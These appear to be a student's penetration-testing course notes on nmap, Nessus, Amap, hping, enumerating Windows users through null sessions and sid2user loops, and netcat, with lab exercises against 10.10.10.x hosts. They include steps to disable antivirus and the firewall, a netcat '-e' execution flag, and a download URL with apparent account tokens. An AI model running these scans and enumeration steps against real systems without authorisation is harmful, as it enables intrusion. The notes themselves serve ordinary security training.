Nmap Port Scanner ..2.63

  • primarily a port scanner showing which tcp and udp ports are open
  • Nmap Scripting Engine extends nmap to a general purpose vulnerability scanner
  • ping sweeps
  • operating system fingerprinting
  • tracerouting and much more

Nmap Usability Features: --packet-trace Option ..2.64

  • Run Nmap with –packet-trace to display summary of each packet before it is sent, with output that includes:
    • Nmap calles to the OS
    • SENT/RCVD
    • Protocol (TCP/UDP)
    • Source IP:Port and Dest IP:Port
    • Control Bits
    • TTL
    • Other header Information

nmap -PN -sS 10.10.0.1 -p 1-1024 –packet-trace

  • -PN Don't Ping, just scan
  • -sS SYN scan or Half-Open Scan
  • - -packet-trace display status and packet summary information

Nmap usability Features – Runtime Interaction ..2.65

  • the following keys while running display status
    • p = turn on packet tracing
    • v = increase verbosity
    • d = Increase debugging level
    • Shift with any of the above inverts it
    • Any other key prints status message
      • Elapsed time, hosts completed so far, number of hosts up, number of hosts currently being scanned
      • percentage done, estimate of amount of time remaining

Controlling Scan Speeds with Nmap's Timing Options ..2.66

  • By default, Nmap has a dynamic timing model that adapts scan timeouts based on performance of initial packets
  • -T [timing options] [other options]
    • 0: Paranoid - waits 5 minutes between packets, scans serially
    • 1: Sneaky - 15 seconds between packets, scan serially
    • 2: Polite - 0.4 seconds between packets, scan serially
    • 3: Normal - default, desired to not overwhelm network of miss targets/ports, scans in parallel
    • 4: Aggressive - spends up to 5 minutes scanning each host, waits only 1.25 seconds for probe response, scans in parallel
    • 5: Insane - Spends up to 75 seconds per host, waits only 0.3 seconds for probe response, scans in parallel

Finer-Grained Nmap Timing Options ..2.67

  • More timing options
    • - -host_timeout: Max time spent on single host before moving on; default is no host timeout
    • - -max_rtt_timeout: Mac time to wait for probe response before retransmitting or timing out; default is 9 seconds
    • - -min_rtt_timeout: To speed up a scan, Nmap measures timing of target and lowers timeouts to match its network behavior, speeding up a scan but possibly missing responses; this option can be set so that timeouts don't go below a given value
    • - -initial_rtt_timeout: Sets the initial timeout for probes, which will be lowered automatically as Nmap measures the network performance of a target; default is 6 seconds.
    • - -max_parallelism: Sets the number of probes Nmap will send in parallel (1=serial)
    • - -scan_delay: sets minimum time Nmap waits between sending probe packets

Nmap and Address Probing ..2.68

  • by default, Nmap probes a target address before scanning it
    • For UID 0 users, Nmap sends:
      • If on same subnet as Nmap box, just send ARP request
      • (the following All sent immediately, not waiting for response between each packet)
        • If on different subnet, send ICMP Echo Request, and
        • TCP SYN to port 443, and
        • TCP ACK to port 80, and
        • ICMP Timestamp Request (Type 13)
    • For non-UID 0 users, Nmap initiates 3-way handshake by sending:
      • TCP SYN to port 80, and…
      • TCP SYN to port 443
    • These packet combinations are based on statistical analysis of actual systems thta respond on large networks and the Internet.
  • Nmap with the -PN option (same as -P0) will not ping a target before scanning it.

Nmap and Network Sweeping ..2.69

  • probe for target hosts, launching a network sweep scan

nmap -sP [options]

Nmap Network Sweeping Options ..2.70

  • Choose network sweep options based on what is allowed into the target network, measured by sending test probes using different protocols
  • Nmap has the following sweep types:
    • PN: Don't ping (also -P0)
    • -PB: Sames as default, use ICMP Echo Request, SYN to TCP 443, ACK to TCP 80, and ICMP Timestamp Request (if UID 0)
    • -PE (formerly -PI): Send ICMP Echo Request (ICMP type 8)
    • -PS[portlist]: Use TCP SYN to specified ports in the port list (e.g., -PS80)
    • -PP: Send ICMP timestamp request (ICMP type 13) to find targets.
    • -PM: Send ICMP address mask request (ICMP type 17) to find targets
    • -PR: use ARP to identify hosts (only works with hosts on same subnet)
      • used by default for targets in the same subnet as scanning host

Nmap and Traceroute ..2.71-72

  • - -traceroute
  • Nmap determines the types of packets (ICMP, TCP with a specific port, UDP with a specific port) that are likely to be allowed through the network to the target.
  • Then it traceroutes to the target using those packets
  • Goes backwards for efficiency
  • sends out a packet with a high initial TTL based on a guess associated with the can results so far
    • If it gets a response from the end host, it lowers the TTL
    • If it gets an IXMP Time Exceeded, it raises it
    • It does that until it know the exact number of hops to target
    • Then, it works its way backwards to decrement down to 0
    • The efficiency is in scanning other hosts in the same route

Nmap port scanning ..2.73

  • Does not check all ports by default
  • By default, Nmap checks the top 1000 most used ports for TCP and/or UPD
    • does not check all ports less than 1024 by default anymore
  • -F option (which stands for fast) says to scan the top 100 ports
  • - -top-ports [N] option tells Nmap to scan for the N most popular ports
  • For a comprehensive scan, use te -p option
    • -p 0-65535 will scan all ports
    • -p 22,23,25,80,445 will check only those ports
    • the flag T: or U: can be included in the list to specify TCP or UDP
      • -sU -sT -p U:53,111,137,T:21-25,80,139,8080
  • Ports scanned in random order, but -r makes them not randomized

Nmap TCP Port Scan Types: Connect Scan ..2.74

  • Most TCP scans are based on control bits
  • TCP connect scan is most straightforward
    • nmap -sT
    • Completes three-way handshake
    • Connection then torn down by using RESET
    • Slower, more likely to be logged
    • Less control for Nmap, because it uses OS connect() call
    • Can run with or without root or admin privileges

Nmap TCP Port Scan Types: SYN Scan ..2.75

  • Syn scan, sometimes called “half-open” or “SYN Stealth” scan, involked with -sS
    • nmap -sS
    • SYN-ACK response = open
    • RST response = closed
    • no response = filtered
  • Often not logged on the end system because there is no connection
  • Firewalls, IDS sensors, and IPS tools may still detect it
  • Requires root privileges
  • SYN →
  • ← SYN-ACK
  • RESET →

Additional Nmap TCP Scan Options ..2.76

  • ACK Scan (-sA)
    • Useful in scanning through an “established” filter on a router
    • But, doesn't reliably tell us if a port is open or closed…instead, it is useful for identifying hosts (network mappings)
  • FIN Scan (-sF)
    • Set FIN bit of all scan packets
  • Nmap Null Scan (-sN)
    • Set all control bits to 0 (Null)
  • Nmap Xmas Tree Scan (-sX)
    • Set FIN, PSH, and URG
  • Maimon Scan (-sM)
    • Set FIN and ACK bits

Custom Control Bits in Scans ..2.77

  • To generate flags with your own desired TCP Control Bits, use:
    • - -scanflags [URG,ACK,PSH,RST,SYN,FIN,EXE,CWR,ALL,NONE]

nmap –scanflags SYNPSHACK -p 139 10.10.10.10

Nmap UDP Scans ..2.78

  • Far less options than with TCP
  • Invoked with -sU option
  • Sends UDP packet with no payload to target
  • Attempts to detect response ICMP rate limiting in target, and slows down
    • Can really stretch out scan time
    • Remember, closed ports may respond with ICMP Port Unreachable
    • Linux will only send 1 per second
    • For 65536 ports, that's over 18 hours for a single target machine!

Nmap Feature - --badsum scans ..2.79

  • Using Nmap with –badsum at the command line will generate packets with an invalid TCP or UDP checksum
  • End systems will reject these packets, silently dropping them
  • But, some firewall and ISP's do not calculate layer 4 checksums
    • they may send a RESET or ICMP Port Unreachable
    • Therefore, if any responses come back, it came from a firewall or IPS

Nmap Exercise ..2.80

Exercise: Nmap ARP Scan and Run-Time Interation ..2.81

  • Run a ping sweep of our local network
# nmap -n -sP 10.10.10.10.1-255 --packet-trace
  • While it is running, hit the following keys
    • Shift-p = turn off packet tracing
    • p = Turn it back on
    • v = Increase verbosity
    • Shift-v = Turn it off
    • d = Increase debugging level
    • Shift-d = Turn it off
  • Note that your are just sending ARPs; no ICMP or HTTP
    • Nmap is smart enough to do the because you are on the same LAN

Nmap - Specifying Port Range ..2.82

  • show traffic associated with host
# tcpdump -nn host 10.10.10.50
  • do a TCP connect scan (full three-way handshake) (top 1000 ports by default)
# nmap -n sT 10.10.10.50
  • let's see how long it takes to scan all TCP ports
# nmap -n -sT 10.10.10.50 -p 1-65535

Scanning Port 0 and Lists of Ports ..2.83

  • in the above scan, we omitted TCP port 0. Let's test that one port:
# nmap -n -sT 10.10.10.50 -p 0
  • a list of ports
# nmap -n -sT 10.10.10.50 -p 21,22,23,25,80,135,443,6000
  • review port in the nmap-services file
# gedit /usr/share/nmap/nmap-services

Nmap UDP Port Scan ..2.84

# nmap -n -sU 10.10.10.50
# nmap -n -sU 10.10.10.50 -p 53,111,414,500-501

The --reason Option and Scanning TCP and UDP ..2.85

  • tells why Nmap classifies a given port's open/closed/filtered state as it does
# nmap -n -sU 10.10.10.50 -p 53,111,414,500-501 --reason
  • scan TCP and UDP at the same time
# nmap -n -sT -sU 10.10.10.50 -p 21-25 --reason

Exercise: Nmap with Good Checksum and Bad Checksum ..2.86

  • Run a “normal” SYN scan of 10.10.10.10
# nmap -n -sS 10.10.10.10
  • Run the same scan, but with a bad checksum
# nmap -n -sS 10.10.10.10 --badsum
  • Why much slower? Resets are normally returned, but with badsum, packets are dropped.

Exercise: Nmap Checksums and Timing ..2.87

  • to examine the timing of above, run tcpdump
# tcpdump -nn host 10.10.10.10
# nmap -n -sS 10.10.10.10
# nmap -n -sS 10.10.10.10 --badsum
  • RESETS really help speed up a SYN Scan
  • No RESETS sent with bad checksum
  • If we do get a RESET, Nmap is smart enough to know it came from a firewall, and prints out “closed” instead of “filtered”

OS Fingerprinting ..2.88

Nmap Active OS Fingerprinting ..2.89

  • Nmap attempt to determin the operating system of target by sending various packet types and measuring the response
  • Different systems have different protocol behaviors that we can trigger and measure remotely
  • Besides Nmap, another tool focused just on active fingerprinting is Xprobe2 by Ofir Arkin

Nmap OS Fingerprinting Capability ..2.90

  • first generation nmap fingerprinting has been removed and replaced with second generation capability
  • -O and -O2 (-O1 has been removed)

Tests Included in Nmap Second Gen OS Fingerprinting ..2.91

  • Over 30 different methods are included in the second generation fingerprinting, including:
    • TCP ISN greatest common denominator (GCD)
    • TCP ISN counter rate (ISR)
    • TCP IP ID sequence generation algorithm (TI)
    • ICMP IP ID sequence generation algorithm (II)
    • Shared IP ID sequence boolean (SS)
    • TCP timestamp option algorithm (TS)
    • TCP initial window size (W,W1-W6)
    • IP don't fragment bit (DF)
    • IP initial time-to-live guess (TG)
    • Explicit congestion notification (CC)

Tests included in Nmap First Gen OS Fingerprinting ..2.92

  • nmap before 4.51 supported
    • TCP Sequence Prediction
    • SYN Packet to open port
    • NULL packet to open port
    • SYN|FIN|URG|PSH packet top open port
    • ACK packet to open port
    • SYN packet to closed port
    • ACK packet to closed port
    • FIN|PSH|URG packet to closed port
    • UDP packet to closed port

Version Scanning ..2.93

Version Scanning ..2.94

  • When Nmap identifies an open port, it displays the default service commonly associated with that port
  • Nonstandard port assignments can be determined using version scanning

nmap Version Scanning Functionality ..2.95

  • invoked with -sV
  • or -A for version scanning plus OS fingerprinting, script scan and traceroute
    • -A = -O + -sV + -sC + - -traceroute
  • For each listening port discovered during the port scan, Nmap:
    • Makes a connection to TCP and listens for 5 seconds… if response with match: Done!
    • Sends probes to TCP and UDP ports, sending data designed to elicit a response to determine the service type.
      • over 1,000 service fingerprints in the nmap-service-probes file
    • Attempts SSL handshake over TCP ports, and, if successful, probes over SSL connection
    • Issues Null RPC commands to determine if RPC service is in use
      • - -version-trace option shows the details of the probes in real time

Other Version Scanning and information Gathering Tools ..2.96

    • Amap can do a port scan itself, or…
    • …provide Amap with the output file from Nmap (generated using the Nmap “-oG filename” option)
    • It sends triggers to each open port (defined in the appdefs.trig file)
    • It looks for defined responses (from the appdefs.resp file)
    • A useful second opinion to the Nmap version scan

nmap -O -sV and Amap Exercises ..2.97

Exercise: Nmap OS Fingerprinting ..2.98

  • run tcpdump so that it sniffs all packets going between your machine and the target network of 10.10.10
# tcpdump -nn host [YourLinuxIPaddr] and net 10.10.10
  • Then, invoke nmap in one command configured as follows:
    • Don't resolve names
    • Use OS fingerprinting
    • Do a TCP connect scan (3-way handshake)
    • Scan target ports 1-1024
    • Scan the target network 10.10.10.1-255

Nmap Scan and OS Fingerprint ..2.99

# nmap -n -O -sT -p 1-1024 10.10.10.1-255

Nmap Version Scan ..2.100

  • Next, let's do a version scan of some of the hosts
    • start with 10.10.10.10
    • configure Nmap not to resolve domain names
    • perform a version scan
    • Use target ports 1-150
  • Nmap bases its version scan on the contents of the file nmap-service-probes
    • “Probe” lines inidcate what to send
    • “match” lines indicate what to search for in responses
# nmap -n -sV -p 1-150 10.10.10.10
  • services in /usr/share/nmap/nmap-service-probes

Amp Version Scan ..2.102

  • Amp triggers and response files:

/usr/etc/appdefs.trig

/usr/etc/appdefs.resp

Running Amap ..2.103

  • -q omit closed ports from output
  • -v verbose
# amap -qv 10.10.10.10 1-150
  • -b print banners it receives back
# amap -bqv 10.10.10.10 1-150

Investigating the Different Ports ..2.107

  • use hping to send a TCP SYN packet to port 120-135 on 10.10.10.20
# tcpdump -nn tcp and host [YourLinuxIPaddr] and net 10.10.10
# hping3 --count 6 --destport ++130 --syn 10.10.10.20

Port Behavior ..2.108

  • ports 130-134 send resets while 135 silently drops the packet indicating a packet filter
  • ++ increments the port even if no response is received

Vulnerability Scanning ..2.109

Methods for Discovering Vulnerabilities ..2.110-111

  1. Check Software version number
    • compensating controls might block exploitation (network- or host-based IPS, etc.)
  2. Check protocol version number spoken
  3. Look at its behavior - somewhat invasive
  4. Check its configuration - more invasive
    • requires access to target
    • Or, requires configuration documentation from target environment personnel
  5. Run exploit against it - potentially dangerous, but potentially very useful
    • Successful exploit shows the vulnerability is present
    • Helps Lower false positives
      • Note that failed exploit does not indicate that the system is secure!
  • Not all vulnerabilities lead to exploit
    • some misconfigurations could be associated with information leakage
    • Others might indicate a concern, but without exploitation being possible

Nmap Version Scan and Amp as Vulnerability Scanners ..2.112

  • nmap and amap would require interpreting results by hand to find vulnerabilities and result in false positives
  • nmap Scripting Engine does work as a vulnerability scanner

Nmap Scripting Engine ..2.113

Nmap Scripting Engine ..2.114

  • Goals of Nmap Scripting Engine (NSE)
    • Allow for arbitrary messages to be sent or received by Nmap to multiple targets, running scripts in parallel
    • Be easily extendable with community-developed scripts
    • Support extended network discovery (whois, DNS, etc.)
    • Perform more sophisticated version detection
    • Conduct vulnerability scanning
    • Detect infected or backdoored systems
    • Exploit discovered vulnerabilities
  • May someday rival nessus and its NASL as a general purpose, free, open source vulnerability scanner

Nmap Scripting Engine Scripts 2.115

  • written in Lua
    • often used in games, Lua is fast, flexible, and free, with a small interpreter that works across platforms and is easily embedded inside of other applications
  • To invoke NSE:
    • To run all acripts in the category of 'default'

# nmap -sC [target] -p [ports]

  • To run an individual script:

# nmap –script=[all,category,dir,script…] [target] -p [ports]

  • Add “–script-trace” for detailed output from each script

NSE Script Categories ..2.116

  • Developers who create NSE scripts identify each script in one of more categories:
    • Safe: Not designed to crash targets, consume bandwidth, or exploit vulns
    • Intrusive: May leave logs, guess passwords, or otherwise impact the target
    • Auth: Test for issues associated with authentication
    • Malware: Detect network-accessible malware or backdoors
    • Version: Detect the version of target's services
    • Discovery: Info gathering about target environment
    • Vuln: Look for a given vulnerability in the target
    • External: Sends information to third-party for lookup (example:whois). Third party could record query, response, or IP address
    • Default: Run this set of scripts when Nmap is invoked just using -sC or -A without a category of individual script specified

Some Example NSE Scripts ..2.117

  • Scripts are located in there own directory, often /usr/shar/nmap/scripts
  • The file script.db inventories and categorizes the various types
  • Several dozen scripts look for a variety of different conditions:
    • Determine if an FTP server supports bounce scans
    • DNS servers supporting zone transfer
    • Tell if a Windows shell is on a given port (TCP 8888)
    • Test if SMTP server can be used as a relay
    • Many, many more
  • safe scripts:

# grep safe /usr/share/nmap/scripts/script.db or

# grep safe /usr/local/share/nmap/scripts/script.db
  • intrusive scripts:

# grep intrusive /usr/share/nmap/scripts/script.db or

# grep intrusive /usr/local/share/nmap/scripts/script.db

NSE Exercise ..2.118

NSE Exercise ..2.119

cd /usr/share/nmap/scripts/script.db

or if from compiled version:

cd /usr/local/share/nmap/scripts/script.db
gedit script.db
cat script.db |grep safe |wc -l
cat script.db |grep discov |wc -l
cat script.db |grep intrusive |wc -l

NSE robots.txt.nse Script ..2.120

  • this script pulls robots.txt files from web servers
  • run this script against 10.10.10.60, just on port 80

nmap -n –script=robots.txt.nse 10.10.10.60 -p 80

Getting robots.txt with wget ..2.121

  • Nmap robots.txt.nse does not display the full contents of robots.txt. It merely lists directories, without the “Disallow:” notation and any “User-agent” restrictions

wget 10.10.10.60/robots.txt * pull robots.txt from all our machines

# nmap -n --script=robots.txt.nse 10.10.10.1-255 -p 80

NSE Exercise – win nbtstat vs. nmap nbstat ..2.122-123

  • nbstat.nse script pulls NetBIOS information from a target
    • Name, MAC address, user info
    • rather like the windows nbtstat command
C:\> nbtstat -A 10.10.10.10
# tcpdump -nn host 10.10.10.10
# nmap -n --script=nbstat.nse 10.10.10.10

To avoid the scan of all 1000 ports:

# nmap -n -sU -p U:137,138 --script=nbstat.nse 192.168.1.102

NSE Exercise –SSHv1 Support? ..2.124

  • use sshv1.nse to determine if the old protocol (v1 is subject to man in the middle) is supported
# nmap -n --script=sshv1.nse --script-trace 10.10.10.60 -p 22

Looking at the sshv1.nse Script ..2.125

# gedit /usr/share/nmap/scripts/sshv1.nse
  • if the sshd service it running on a different port, the script will not run
# gedit /etc/ssh/sshd_config
Port 23
killall -HUP sshd
  • verify the service is running on the new port with lsof. -i is for network -P is for port numbers
# lsof -Pi |grep 23

NSE Scripts Without and with Version Scans ..2.126

  • Now, run nmap with the sshv1.nse script
# nmap -n --script=sshv1.nse 127.0.0.1
  • note that the script did not run because it assumed the normal service for the port (telnet)
# nmap -n -sV --script=sshv1.nse 127.0.0.1
  • now, the script output should be detected. (–script-trace might help too)

The Point? ..2.127

  • a version scan is required for nmap to know what service is available at the port

Nessus ..2.128

Tenable Network Security's Nessus Vulnerability Scanner ..2.129

  • 25,000 plugins - mix of open source and commercial
  • free for home use, but not commercial use

Nessus Architecture ..2.130

  • client-server architecture
    • Client - nessus
    • Server - nessusd
  • Available for Linux, MacOS X, Windows, Solaris, FreeBSD
  • Nessus 2 versus Nessus 3 & 4
    • Nessus 2: Free and engine freely redistributable (some plugins free, others commercial)
    • Nessus 3 & 4: Commercial, 50% or more faster, with commercial plug-ins
    • The same plugins work in both, unless they use extended plugin functionality of 3 & 4

Update Plugins Regularly ..2.131

  • Update plugins before a test
  • to get latest plugins, you first need to register
    • register and subscribe at www.nessus.org/plugins
    • you get a serial number
    • In Windows and Mac, enter serial number via gui
    • In Linux enter serial number via
# nessus-fetch --register [serial]
  • Nessus 3 and 4 auto-update plugins every 24 hours by default
  • To force update now:
    • Linux, Solaris, FreeBSD:
# nessus-update-plugins
  • Windows and Mac, use the GUI

Updating Nessus Offline and Keeping an Eye on New Plugins ..2.132

Record Plugin Feed Info Before Starting a Test ..2.133

  • Record plugins you will use
C:\> type "c:\Program Files\Tenable\Nessus\plugins\plugin_feed_info.inc
# cat /usr/local/lib/nessus/plugins/plugin_feed_info.inc
  • record the ones you choose to run
    • All?
    • All-except-dangerous?
    • Specific categories?

Nessus and Dangerous Plugins ..2.134

  • Some plugins could crash a target system or otherwise impair it
    • Some Denial of Service plugins, but not all
      • Some just measure version number
    • password guessing plugins
    • Others
  • By default, nessus shuts off dangerous plugins

Nessus Results ..2.135

  • Nessus results include
    • An estimate of risk Level
    • Description of each discovered flaw
    • Recommendations for resolution
  • You can improve upon these results
    • Verify issue manually, if possible
      • false positive reduction
    • Provide clearer explanations
    • Tune risk level to target organization's profile
    • Provide customized recommendation for target organiztaion
    • prioritize recommendations

Nessus Exercise ..2.136

Thank you. You can now obtain the newest Nessus plugins at :
http://plugins.nessus.org/get.php?f=all-2.0.tar.gz&u=ae76eef133f752687de5b1c223184a81&p=1c503d053fe6d4adae4fc213ac2321f9

You also need to copy the following file to :

    * /opt/nessus/etc/nessus/nessus-fetch.rc (Unix)
    * C:\Program Files\Tenable\Nessus\Conf (Windows)


nessus-fetch.rc

Nessus Exercise ..2.137

nessusd -D
nessus &

for version 4:

/opt/nessus/sbin# nessus-service -D

Looking at Plugins ..2.139

  • look at “denial of service” under “Plugin selections”

Counting Danerous Plugins ..2.139

grep -r -m 1 ACT_DENIAL /usr/local/lib/nessus/plugins |wc -l
grep -r -m 1 ACT_DENIAL /usr/local/lib/nessus/plugins
C:\> cd "c:\Program Files\Tenable\Nessus\plugins\scripts
C:\> findstr ACT_DENIAL *

Looking at Credentials ..2.140

  • click on credentials tab
  • most pen testers do not use these options
  • several exploits for Windows require a username and password of a limited account, but can deliver local SYSTEM-level access with the exploit.
  • SSH password is listed as “unsafe!” because of leaving credential in the Nessus database.

Looking at Scan Options ..2.141

  • look through the nessus-services file
gedit /usr/local/var/nessus/nessus-services

Looking at Port Scanner Options ..2.142

  • Scanner options

Setting Targets ..2.143

10.10.10.50-60
* zone transfers are not recommended because it may test machines outside scope

Looking at Preferences ..2.144

  • Nessus can enumerate user accounts by iterating through SID's

Conducting a Scan ..2.145

  • activate tcpdump
tcpdump -nn net 10.10.10

Review Results ..2.146

Report Formats ..2.147

  • NBE is the default nessus format
  • NBE is recommended because one can open the file in Nessus and genterate the others

Other Vuln Scanners ..2.148

Other Vulnerability Scanning Tools ..2.149

Commercial solutions
Scanning services /appliances
Free Solutions
  • Sara: www-arc.com/sara, free but not as comprehensive as others
  • SuperScan - www.foundstone.com, free, but linited to port scnas and Windows information pulling

BiDiBLAH Suite ..2.150

  • BiDiBLAH automates attack tasks
    • Commercial tool from www.senspost.com
    • Free version is limited
      • cannot save config, exits after 20 minutes of use
    • Steps through several steps of an attack, automatically
    • Point and click, conforms to standard attack methodologies.
  • nice front end for Google searches, DNS lookups, Port Scanning, Nessus vulnerability scanning, and even metasploit exploitation

BiDiBLAH-style Recon ..2.151

  • Domain Recon
    • starts with a list of domains
    • Using Google, the tool finds email addresses and references to subdomains
  • Forward DNS Lookups
    • Uses results of domains above, plus user supplied list
    • harvests IP addrsses and determines target IP ranges
  • Netblocks
    • Perform howis lookups on all info received from DNS
    • Also looks up coutry for each IP with provided IP2C DB
  • Reverse DNS lookups
    • Looks up IP addresses to find more domains…back to Domain Recon.

BiDiBLAH-style Scan ..2.152

  • Port scanning
    • Uses ScanRand technique (pioneered by Dan Kaminsky)
      • sends SYNs, but does not wait for replys,
      • another process waits for SYN-ACK
    • Mac spoofing (not well implemented yet)
    • IP address spoofing, but you have to have a receiving process there to get the results
  • All available banners are harvested

BiDiBLAH-style Targeting and Vuln Scan ..2.153

  • A tree of target hosts is displayed, with each open port and banner
  • Attacker can select from these for vulnerability scan
  • An attacker-supplied Nessus server then does the vulnerability scan

BiDiBLAH-Style Exploitation ..2.154

  • Exploitation relies on Metasploit web server provided by the attacker
  • automatically chooses a list of Metasploit exploits based on the Nessus results
  • reporting all in .doc format

Enumerating users ..2.155

Methods for Getting Account Names ..2.156

  • Pull them during scans
  • Use later for password guessing attacks
  • Public sources of information:
    • Look at e-mail addresses, blog postings, newsgroup postings, etc.
    • Most organizations use e-mail addresses that contain account names:
      • [account_name]@[target_domain_name]
    • Pull potential user nemas from document metadata
  • Ask target personnel for account names for the test

Methods for Pulling Account Names from Linux/Unix and Windows ..2.157

  • Linux / Unix:
    • Local
cat /etc/passwd
finger
who
w
  • Remotely, across the network:
finger @[targetIP]  (but usually turned off)
  • NIS
ypcat passwd
ypcat group
  • LDAP
ldapsearch [criteria]
  • Windows
    • Pull user lists from Null SMB sessions
    • Automating enumeration via User2sid and Sid2user conversion tools

Windows: Pulling Account Names via Null Sessions ..2.158

  • Null session: SMB session with no userID, no password, no domain membership
  • If tester has SMB access of a target Windows system (via TCP port 135-139 or TCP 445), and the machine is configured to support Microsoft file and print sharing…
    • the attacker can set up a Null session
C:\> net use \\[targetIP] "" /u:""
  • We can pull user names:
    • on Windows 2000 targets, if
HKLM\System\CurrentControlSet\Conrtol\Lsa\RestrictAnonymous = 0 (the default)
  • on Windows 2003, XP, and Vista targets, if
HKLM\System\CurrentControlSet\Conrtol\Lsa\RestrictAnonymousSAM = 0 (not the default)

Tools for Pulling Account Names via Null Sessions ..2.159

  • Enum, by Jordan Ritter
    • Command-line tool for pulling information from targets via Null sessions
    • To get users:
C:\> enum -U [targetIP]
  • group Membership
C:\> enum -G [targetIP]
  • -P password policy information
  • -S Shares
  • -D Dictionary based password guessing
  • Winfingerprint, by Vacuuum
  • gui-based tool for pulling various kinds of information from a target, including usernames via Null sessions

Enumerating SID's ..2.160

  • On Windows, each group and account has a unique Security Identifier (SID)
    • Unique number for that system
    • Consists of S-[X]-[Y]-[domain/computer]-RID
      • X is the revision Level (typically 1)
      • Y is an authority level (typically 5 for users and groups)
      • Domain ia a unique number for the given machine of domain
    • Last component is RID
      • Well-known account have common RIDs
        • Original administrator account has a RID of 500 (regardless of name)
        • Guest account has a RID of 501
        • Users created on the macine have RID's 1001 and up
        • Documented by Microsoft at http://support.microsoft.com/kb/243330

Sid2user and User2sid ..2.161

  • The LookupAccountName API call in Windows converts a SID to a Username, across the network via null session
  • The LookupAccountSid converts username to SID
    • Independent of RestrictAnonymous values
    • Controlled by a security policy setting in secpol.msc
Allow anonymous SID/Name Translation
  • The Sid2User tool takes a SID and queries a system for the user name
    • We can automate… simple command to look for all RID's from 1000 and up

Using User2sid and Sid2user ..2.162

  • Start by establishing a Null session
C:\> net use \\[targetIP] "" /u:""
  • then, ask the target for its domain/computer component of the SID
C:\> user2sid \\[targetIP] [machine_name] (or guest)
  • Then, with the domain/computer component of SID, we can lookup potential users based on their RIDs:
C:\> for /L %i in (1000,1,1010) do @sid2user \\[targetIP] [SID without RID] %i

Enumerating Exercise ..2.163

Preparing Enum ..2.164

  • Unzip Enum onto your hard drive
  • Your anti-virus tool may not like enum
    • Use the anti-virus administrative GUI to disable the anti-virus else part might still be running
  • Extract enum.exe to c:\tools\enum\

Running Enum ..2.165

Change to the enum directory:

C:\> cd c:\tools\enum

Verify that you are in a directory with enum.exe:

C:\> dir

Now, run enum against 10.10.10.10 configured to extract users:

C:\> enum -U 10.10.10.10

Then, run it to extract groups:

C:\> enum -G 10.10.10.10

Finally, get password policy information:

C:\> enum -P 10.10.10.10

Preparing Sid2user and User2sid ..2.166-167

Change to sid directory:

C:\> cd c:\tools\sid

Now invoke the sid2user tool without any options, and read its usage information:

C:\> sid2user.exe

Can run the tool with remote computer name [\\computer_name]. Elements of sid sparated by spaces

First, start a null session:

C:\> net use \\10.10.10.10 "" /u:""

Then run User2sid command to determine overall domain/computer component of the SID by providing it with hostname of target (we could get hostname from an nslookup or ping -a):

C:\> user2sid \\10.10.10.10 trinity

Then, find out the administrators name:

C:\> sid2user \\10.10.10.10 [domain number, starting with 5 followed by a space, followed by 21, followed by space, followed by 3 sets of digits] 500

Don't forget the 500 at the end to specify the administrator's SID

Then, enumerate users, starting at 1000 and going up through 1010:

C:\> for /L %i in (1000,1,1010) do @sid2user \\10.10.10.10 [5 followed by space, followed by 21, followed by space, followed by 3 sets of digits separated by spaces] %i

Netcat for the Pen Tester ..2.168

Netcat for the Pen Tester ..2.169

  • Built-in to many Linuxes, and available for Windows
  • Recent nmap includes ncat – a re-implementation of many Netcat features, plus encryption
  • Netcat takes Standard In, and sends it across the network. Standard Input can be keyboard, redirection from a file,
nc [options] < [file]

or piped from another program

[program] | nc [options]
  • Receives data from the network and puts it on Standard Out. Screen, redirected to a file,
nc [options] > [file]

or sent to another program's output

nc [options] | [program]

also

nc -e [program]
  • Messages from Netcat itself put on Standard Error

Netcat Command Flags ..2.170

nc [options] [targetIP] [remote_port(s)]
  • -l: listen mode (default is client)
  • -L: Listen harder (Windows only) - makes a persistent listener–starts listening again after client disconnects
  • -u: UDP mode (default is TCP)
  • -p: Local port (In listen mode, this is port listened on. In client mode, this is source port for packets sent.)
  • -e: Program to execute after connection occurs
  • -n: Don't resolve names
  • -z: Zero-I/O mode - don't send any data, just emit packets
  • -wN: Timeout for connects, wait for N seconds
  • -v: Be verbose, printing when a connection is made
  • -vv: Be very verbose, printing when connections are made, dropped, etc.
  • -r: randomize port when using a range of port

Some Netcat Uses for Penetration Testers and Ethical Hackers ..2.171

  • Connection string gathering from servers or clients
  • Port scans
  • “Service-is-alive” heartbeats
  • “Service-is-dead” notification
  • moving files between systems
  • Setting up relays to forward connections
  • creating backdoor listeners

Some Netcat Uses: Netcat Client Grabbing Service info ..2.172

  • A netcat client can connect to a target service, and pull back its service info
$ nc [targetIP] [remote_port]
  • you may need to enter a connection string to elicit a response from the target
  • Enter Enter for some services
  • for HTTP:
HEAD / HTTP/1.0, followed by Enter Enter
  • others

Automating Service String Info Gathering ..2.173

  • netcat can grab a service strings from a series of ports
  • port-range [x-y] for remote_ports(s)
  • ports searched in inverse order
$ echo "" | nc -v -n -w1 [targetIP] [port-range]
$ echo "" | nc -v -n -w1 10.10.10.10 1-100
  • In effect, this is a port scanner that harvests banners

Netcat Listener Grabbing Client Info ..2.174

  • A netcat listener can receive a conection and display info about the client
$ nc -v -l -p [local_port]

Netcat for a “Service-is-Alive” Heartbeat ..2.175

$ while (true); do nc -vv -z -w3 [targetIP] [target_port] > /dev/null && echo -e "\x07"; sleep 1; done

or

$ while : ; do ...

Netcat for a “Service-is-Dead” Notification ..2.176

$ while `nc -vv -z -w3 [targetIP] [target_port] > /dev/null` ; do echo "Service is ok"; sleep 1; done; echo "Service is dead"; echo -e "\x07"
  • for more sound replace the echo -e “\x07” with
while (true); do echo -e "\x07"; done

Netcat Exercise ..2.177

Playing with Netcat Clients and Listeners ..2.178

  • run netcat listener on Linux
# nc -l -p 5555
  • run netcat client on Windows
C:\> c:\tools\nc.exe [YourLinuxIPaddr] 5555
  • the firewall may need to be disabled
# service iptables stop

Manual Service Connection String Grabbing ..2.179

  • Use Netcat on Linux to verbosely, without resolving names, connect to:
    • 127.0.0.1 on TCP 25
    • 10.10.10.10 on TCP 25
    • 127.0.0.1 on TCP 22
    • 10.10.10.10 on TCP 22
    • 10.10.10.60 on TCP 22
    • 10.10.10.60 on TCP 80
      • enter a connection string for this one
# nc -v -n 127.0.0.1 25
# nc -v -n localhost 25

The latter will not work because?

# nc -v -n 10.10.10.10 25
# nc -v -n 127.0.0.1 22
# nc -v -n 10.10.10.60 22
# nc -v -n 10.10.10.60 80
HEAD / HTTP/1.0 (Followed by Enter Enter)

Exercise: Netcat Port Scan and Service Info Grabbing ..2.180

  • Run Netcat to port scan 10.10.10.60, ports 20-80, with -z
  • Then do service connection string grabbing, without -z
